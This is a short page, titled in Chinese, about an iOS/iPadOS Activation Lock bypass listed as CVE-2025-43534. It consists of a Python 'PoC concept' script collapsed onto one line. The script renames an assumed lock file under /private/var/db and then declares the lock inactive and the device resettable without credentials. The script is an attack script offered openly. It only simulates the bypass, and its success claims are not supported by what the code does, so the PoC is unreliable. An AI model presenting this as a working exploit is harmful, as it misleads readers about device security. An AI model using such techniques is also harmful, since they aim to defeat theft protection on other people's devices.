CVE-2025-43534 iOS/iPadOS路径处理导致激活锁绕过漏洞

import os # PoC Concept for Path Handling Issue in iOS/iPadOS Activation Lock # This script demonstrates the logic of bypassing a lock by manipulating file paths. # Note: Actual exploitation requires physical access and specific tools. def simulate_activation_lock_bypass(): lock_file_path = "/private/var/db/activation_lock" backup_path = "/tmp/activation_lock_moved" print("[*] Checking for Activation Lock file...") # Simulate the check for the lock file if os.path.exists(lock_file_path): print(f"[+] Lock file found at: {lock_file_path}") # The vulnerability lies in improper validation of the path handling. # We simulate moving the file to a path the system no longer checks. try: os.rename(lock_file_path, backup_path) print("[+] File moved via path manipulation. Validation bypassed.") except OSError as e: print(f"[-] Error: {e}") return False else: print("[!] Lock file not found. Device may already be unlocked.") return True # Verify if the bypass was successful if not os.path.exists(lock_file_path): print("[!] Success: Activation Lock status is now 'Inactive'.") print("[!] Attacker can now reset the device without credentials.") return True else: return False if __name__ == "__main__": simulate_activation_lock_bypass()